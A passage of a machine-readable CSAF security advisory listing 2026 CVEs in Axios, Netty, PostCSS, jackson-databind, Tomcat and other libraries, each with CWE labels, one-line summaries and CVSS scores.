"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44490"
},
{
"cve": "CVE-2026-44492",
"cwe": {
"id": "CWE-918",
"name": "Server-Side Request Forgery (SSRF)"
},
"notes": [
{
"category": "other",
"text": "Server-Side Request Forgery (SSRF)",
"title": "CWE-918"
},
{
"category": "other",
"text": "Authentication Bypass by Alternate Name",
"title": "CWE-289"
},
{
"category": "description",
"text": "Axios versions prior to 0.32.0 and 1.16.0 contain a vulnerability where IPv4-mapped IPv6 addresses are not normalized in the shouldBypassProxy function, allowing NO_PROXY restrictions to be bypassed and requests to be routed through proxies improperly.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44492 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44492.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44492"
},
{
"cve": "CVE-2026-44494",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "other",
"text": "Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
"title": "CWE-441"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "description",
"text": "Axios versions 1.0.0 to before 1.16.0 contain a Prototype Pollution gadget in `config.proxy` that escalates Object.prototype pollution into a full Man-in-the-Middle attack, enabling interception and modification of all HTTP traffic including credentials.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44494 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44494.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44494"
},
{
"cve": "CVE-2026-44495",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "other",
"text": "Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"title": "CWE-94"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "description",
"text": "Axios versions prior to 0.31.1 and 1.15.2 contain prototype-pollution gadgets in request config processing that can be exploited via a polluted Object.prototype.transformResponse from another vulnerability, enabling credential theft, response hijacking, or denial-of-service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44495 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44495.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.0,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44495"
},
{
"cve": "CVE-2026-44496",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Regular Expression Complexity",
"title": "CWE-1333"
},
{
"category": "description",
"text": "Axios versions before 0.32.0 and 1.16.0 have a vulnerability where unescaped regex metacharacters in the XSRF cookie name cause excessive regex backtracking, leading to client-side denial of service by freezing the browser tab.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-44496 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-44496.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-44496"
},
{
"cve": "CVE-2026-45416",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Netty versions prior to 4.1.135.Final and 4.2.15.Final contain a critical vulnerability in SslClientHelloHandler.decode() that causes unbounded memory allocation from crafted TLS ClientHello messages, leading to potential denial of service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-45416 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-45416.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-45416"
},
{
"cve": "CVE-2026-45623",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"title": "CWE-22"
},
{
"category": "description",
"text": "PostCSS versions up to 8.5.11 contain a vulnerability where attacker-controlled sourceMappingURL comments in CSS enable arbitrary local file reads, partial content disclosure, file-existence oracle, and potential denial of service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-45623 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-45623.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-45623"
},
{
"cve": "CVE-2026-46625",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "description",
"text": "The js-cookie library\u0027s assign() function was vulnerable to prototype pollution via JSON objects containing a __proto__ property, allowing attackers to manipulate cookie attributes such as domain, secure, and samesite.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-46625 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-46625.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-46625"
},
{
"cve": "CVE-2026-47838",
"notes": [
{
"category": "description",
"text": "Spring Security versions 5.7.0 to 5.7.24, 5.8.0 to 5.8.26, 6.3.0 to 6.3.17, 6.4.0 to 6.4.17, and 6.5.0 to 6.5.10 contain a vulnerability in the deprecated SubjectDnX509PrincipalExtractor that improperly handles malformed X.509 certificate CN values, enabling potential user impersonation.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-47838 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-47838.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-47838"
},
{
"cve": "CVE-2026-48043",
"cwe": {
"id": "CWE-401",
"name": "Missing Release of Memory after Effective Lifetime"
},
"notes": [
{
"category": "other",
"text": "Missing Release of Memory after Effective Lifetime",
"title": "CWE-401"
},
{
"category": "other",
"text": "Missing Release of Resource after Effective Lifetime",
"title": "CWE-772"
},
{
"category": "description",
"text": "A resource leak vulnerability in Netty\u0027s DelegatingDecompressorFrameListener class for HTTP/2 decompression can cause JVM Out Of Memory Errors and Denial of Service, fixed in netty-codec-http2 versions 4.1.135.Final and 4.2.15.Final.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-48043 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-48043.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-48043"
},
{
"cve": "CVE-2026-48779",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "other",
"text": "Excessive Platform Resource Consumption within a Loop",
"title": "CWE-1050"
},
{
"category": "description",
"text": "A memory exhaustion denial-of-service vulnerability in the ws WebSocket library and HPE Telco Service Orchestrator software allows remote attackers to cause process termination by sending numerous small fragments, fixed in specific ws versions.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-48779 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-48779.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-48779"
},
{
"cve": "CVE-2026-48801",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Regular Expression Complexity",
"title": "CWE-1333"
},
{
"category": "description",
"text": "linkify-it versions prior to 5.0.1 have an O(N\u00b2) complexity vulnerability in the LinkifyIt.prototype.match function that can cause denial of service via excessive CPU usage when rendering untrusted Markdown with linkify enabled.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-48801 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-48801.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-48801"
},
{
"cve": "CVE-2026-50010",
"cwe": {
"id": "CWE-347",
"name": "Improper Verification of Cryptographic Signature"
},
"notes": [
{
"category": "other",
"text": "Improper Verification of Cryptographic Signature",
"title": "CWE-347"
},
{
"category": "description",
"text": "Netty versions prior to 4.1.135.Final and 4.2.15.Final improperly wrap plain X509TrustManagers, disabling hostname verification and enabling remote attackers to perform man-in-the-middle attacks.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-50010 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-50010.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-50010"
},
{
"cve": "CVE-2026-53434",
"cwe": {
"id": "CWE-390",
"name": "Detection of Error Condition Without Action"
},
"notes": [
{
"category": "other",
"text": "Detection of Error Condition Without Action",
"title": "CWE-390"
},
{
"category": "description",
"text": "Apache Tomcat versions 9.0.83 to 11.0.22 and Oracle Communications Management Cloud Engine 25.2.0.0.10 contain vulnerabilities in FFM connector CRL error handling and Apache Tomcat components, allowing unauthorized data access and security bypasses, fixed in recent Tomcat updates.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-53434 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-53434.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-53434"
},
{
"cve": "CVE-2026-54291",
"cwe": {
"id": "CWE-636",
"name": "Not Failing Securely (\u0027Failing Open\u0027)"
},
"notes": [
{
"category": "other",
"text": "Not Failing Securely (\u0027Failing Open\u0027)",
"title": "CWE-636"
},
{
"category": "other",
"text": "Selection of Less-Secure Algorithm During Negotiation (\u0027Algorithm Downgrade\u0027)",
"title": "CWE-757"
},
{
"category": "other",
"text": "Improper Verification of Source of a Communication Channel",
"title": "CWE-940"
},
{
"category": "description",
"text": "pgJDBC versions 42.7.4 to 42.7.11 contain a vulnerability allowing silent downgrade of SCRAM-SHA-256-PLUS to SCRAM-SHA-256 during channel binding, bypassing man-in-the-middle protection, fixed in version 42.7.12.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-54291 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-54291.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-54291"
},
{
"cve": "CVE-2026-54512",
"cwe": {
"id": "CWE-184",
"name": "Incomplete List of Disallowed Inputs"
},
"notes": [
{
"category": "other",
"text": "Incomplete List of Disallowed Inputs",
"title": "CWE-184"
},
{
"category": "other",
"text": "Deserialization of Untrusted Data",
"title": "CWE-502"
},
{
"category": "description",
"text": "Multiple vulnerabilities in jackson-databind, including a PolymorphicTypeValidator bypass via nested generic type parameters, along with issues in Keycloak SAML assertion validation and Oracle Utilities Application Framework denial of service, have been addressed in recent updates.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-54512 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-54512.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-54512"
},
{
"cve": "CVE-2026-54513",
"cwe": {
"id": "CWE-184",
"name": "Incomplete List of Disallowed Inputs"
},
"notes": [
{
"category": "other",
"text": "Incomplete List of Disallowed Inputs",
"title": "CWE-184"
},
{
"category": "description",
"text": "A vulnerability in jackson-databind\u0027s BasicPolymorphicTypeValidator.allowIfSubTypeIsArray() method improperly allows deserialization of unallowlisted array component types, enabling attackers to bypass type validation and execute arbitrary code, fixed in versions 2.18.8, 2.21.4, and 3.1.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-54513 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-54513.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-54513"
},
{
"cve": "CVE-2026-55685",
"cwe": {
"id": "CWE-407",
"name": "Inefficient Algorithmic Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Algorithmic Complexity",
"title": "CWE-407"
},
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "React Router Framework Mode versions 7.0.0 to 7.17.0 and Remix 2.10.0 to 2.17.4 have a denial-of-service vulnerability via unauthenticated requests to the manifest endpoint, fixed in React Router 7.18.0, with no impact on Declarative or Data Mode applications.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-55685 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-55685.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-55685"
},
{
"cve": "CVE-2026-55831",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Netty\u0027s SPDY SETTINGS decoder in versions prior to 4.1.136.Final and 4.2.16.Final lacks limits on SETTINGS entries, allowing remote attackers to send large frames that cause excessive memory and CPU usage, leading to denial of service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-55831 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-55831.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
